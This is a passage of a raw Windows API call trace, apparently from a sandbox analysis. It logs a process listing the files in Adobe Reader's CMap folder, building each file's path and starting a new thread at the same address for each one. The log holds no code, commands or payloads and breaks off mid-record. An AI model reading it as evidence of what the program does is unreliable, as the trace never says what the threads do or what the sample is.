_Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0160.428] wcscat (in: _Dest=0x12c77590, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0160.428] wcscat (in: _Dest=0x12c77590, _Source="Adobe-CNS1-H-Mac" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-Mac") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-Mac" [0160.428] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c77590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x388 [0160.429] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x44cc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-UCS2", cAlternateFileName="ADD444~1")) returned 1 [0160.429] wcscmp (_String1="Adobe-CNS1-UCS2", _String2=".") returned 1 [0160.429] wcscmp (_String1="Adobe-CNS1-UCS2", _String2="..") returned 1 [0160.429] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8e) returned 0x12c77298 [0160.429] wcscpy (in: _Dest=0x12c77298, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0160.429] wcscat (in: _Dest=0x12c77298, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0160.429] wcscat (in: _Dest=0x12c77298, _Source="Adobe-CNS1-UCS2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-UCS2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-UCS2" [0160.429] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c77298, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15d8 [0160.431] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-0", cAlternateFileName="ADD8F8~1")) returned 1 [0160.431] wcscmp (_String1="Adobe-GB1-0", _String2=".") returned 1 [0160.431] wcscmp (_String1="Adobe-GB1-0", _String2="..") returned 1 [0160.431] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e65a8 [0160.431] wcscpy (in: _Dest=0x8e65a8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0160.431] wcscat (in: _Dest=0x8e65a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0160.431] wcscat (in: _Dest=0x8e65a8, _Source="Adobe-GB1-0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-0" [0160.431] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e65a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1580 [0160.432] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe32, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-1", cAlternateFileName="AD9B16~1")) returned 1 [0160.432] wcscmp (_String1="Adobe-GB1-1", _String2=".") returned 1 [0160.432] wcscmp (_String1="Adobe-GB1-1", _String2="..") returned 1 [0160.432] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e7568 [0160.432] wcscpy (in: _Dest=0x8e7568, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0160.432] wcscat (in: _Dest=0x8e7568, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0160.432] wcscat (in: _Dest=0x8e7568, _Source="Adobe-GB1-1" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-1") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-1" [0160.432] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7568, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1924 [0161.281] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x121c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-2", cAlternateFileName="AD411B~1")) returned 1 [0161.281] wcscmp (_String1="Adobe-GB1-2", _String2=".") returned 1 [0161.281] wcscmp (_String1="Adobe-GB1-2", _String2="..") returned 1 [0161.281] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e78c8 [0161.281] wcscpy (in: _Dest=0x8e78c8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0161.281] wcscat (in: _Dest=0x8e78c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0161.281] wcscat (in: _Dest=0x8e78c8, _Source="Adobe-GB1-2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-2" [0162.442] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e78c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaec [0162.443] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x121b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-3", cAlternateFileName="ADF600~1")) returned 1 [0162.443] wcscmp (_String1="Adobe-GB1-3", _String2=".") returned 1 [0162.443] wcscmp (_String1="Adobe-GB1-3", _String2="..") returned 1 [0162.443] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e8378 [0162.443] wcscpy (in: _Dest=0x8e8378, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0162.443] wcscat (in: _Dest=0x8e8378, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0162.443] wcscat (in: _Dest=0x8e8378, _Source="Adobe-GB1-3" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-3") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-3" [0162.443] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8378, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x60c [0162.444] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1461, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-4", cAlternateFileName="AD1D91~1")) returned 1 [0162.444] wcscmp (_String1="Adobe-GB1-4", _String2=".") returned 1 [0162.444] wcscmp (_String1="Adobe-GB1-4", _String2="..") returned 1 [0162.444] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e6ea8 [0162.444] wcscpy (in: _Dest=0x8e6ea8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0162.444] wcscat (in: _Dest=0x8e6ea8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0162.444] wcscat (in: _Dest=0x8e6ea8, _Source="Adobe-GB1-4" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-4") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-4" [0162.444] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6ea8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdd0 [0162.445] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-5", cAlternateFileName="ADC296~1")) returned 1 [0162.445] wcscmp (_String1="Adobe-GB1-5", _String2=".") returned 1 [0162.445] wcscmp (_String1="Adobe-GB1-5", _String2="..") returned 1 [0162.445] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e6998 [0162.446] wcscpy (in: _Dest=0x8e6998, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0162.446] wcscat (in: _Dest=0x8e6998, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0162.446] wcscat (in: _Dest=0x8e6998, _Source="Adobe-GB1-5" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-5") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-5" [0162.446] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6998, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdd4 [0162.447] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16e86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-GBK-EUC", cAlternateFileName="ADFBCB~1")) returned 1 [0162.447] wcscmp (_String1="Adobe-GB1-GBK-EUC", _String2=".") returned 1 [0162.447] wcscmp (_String1="Adobe-GB1-GBK-EUC", _String2="..") returned 1 [0162.447] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x92) returned 0x9ae388 [0162.447] wcscpy (in: _Dest=0x9ae388, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0162.447] wcscat (in: _Dest=0x9ae388, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0162.447] wcscat (in: _Dest=0x9ae388, _Source="Adobe-GB1-GBK-EUC" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBK-EUC") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBK-EUC" [0162.447] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ae388, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdd8 [0162.448] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1082, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-GBpc-EUC", cAlternateFileName="AD2E3A~1")) returned 1 [0162.448] wcscmp (_String1="Adobe-GB1-GBpc-EUC", _String2=".") returned 1 [0162.448] wcscmp (_String1="Adobe-GB1-GBpc-EUC", _String2="..") returned 1 [0162.448] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x94) returned 0x9ad668 [0162.448] wcscpy (in: _Dest=0x9ad668, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0162.448] wcscat (in: _Dest=0x9ad668, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0162.449] wcscat (in: _Dest=0x9ad668, _Source="Adobe-GB1-GBpc-EUC" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBpc-EUC") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBpc-EUC" [0162.449] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ad668, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xde0 [0162.450] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x82c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-H-CID", cAlternateFileName="AD43DF~1")) returned 1 [0162.450] wcscmp (_String1="Adobe-GB1-H-CID", _String2=".") returned 1 [0162.450] wcscmp (_String1="Adobe-GB1-H-CID", _String2="..") returned 1 [0162.450] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8e) returned 0x9ac7c0 [0162.450] wcscpy (in: _Dest=0x9ac7c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0162.450] wcscat (in: _Dest=0x9ac7c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0162.450] wcscat (in: _Dest=0x9ac7c0, _Source="Adobe-GB1-H-CID" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-CID") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-CID" [0162.450] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ac7c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xde4 [0162.451] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x170e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-H-Host", cAlternateFileName="AD3180~1")) returned 1 [0163.212] wcscmp (_String1="Adobe-GB1-H-Host", _String2=".") returned 1 [0163.212] wcscmp (_String1="Adobe-GB1-H-Host", _String2="..") returned 1 [0163.212] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x90) returned 0x12c75ad8 [0163.212] wcscpy (in: _Dest=0x12c75ad8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0163.212] wcscat (in: _Dest=0x12c75ad8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0163.212] wcscat (in: _Dest=0x12c75ad8, _Source="Adobe-GB1-H-Host" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-Host") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-Host" [0164.576] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c75ad8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1668 [0164.577] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-H-Mac", cAlternateFileName="ADAB0B~1")) returned 1 [0164.577] wcscmp (_String1="Adobe-GB1-H-Mac", _String2=".") returned 1 [0164.577] wcscmp (_String1="Adobe-GB1-H-Mac", _String2="..") returned 1 [0164.577] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8e) returned 0x12c761f8 [0164.577] wcscpy (in: _Dest=0x12c761f8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0164.577] wcscat (in: _Dest=0x12c761f8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0164.577] wcscat (in: _Dest=0x12c761f8, _Source="Adobe-GB1-H-Mac" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-Mac") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-Mac" [0164.577] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c761f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19ec [0164.580] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3bb8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-UCS2", cAlternateFileName="AD0115~1")) returned 1 [0164.580] wcscmp (_String1="Adobe-GB1-UCS2", _String2=".") returned 1 [0164.581] wcscmp (_String1="Adobe-GB1-UCS2", _String2="..") returned 1 [0164.581] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x12c77628 [0164.581] wcscpy (in: _Dest=0x12c77628, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0164.581] wcscat (in: _Dest=0x12c77628, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0164.581] wcscat (in: _Dest=0x12c77628, _Source="Adobe-GB1-UCS2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-UCS2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-UCS2" [0164.581] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c77628, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19e4 [0164.582] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-0", cAlternateFileName="AD276E~1")) returned 1 [0164.582] wcscmp (_String1="Adobe-Japan1-0", _String2=".") returned 1 [0164.582] wcscmp (_String1="Adobe-Japan1-0", _String2="..") returned 1 [0164.582] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x12c770d0 [0164.582] wcscpy (in: _Dest=0x12c770d0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0164.582] wcscat (in: _Dest=0x12c770d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0164.582] wcscat (in: _Dest=0x12c770d0, _Source="Adobe-Japan1-0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-0" [0164.582] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c770d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19e0 [0164.584] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-1", 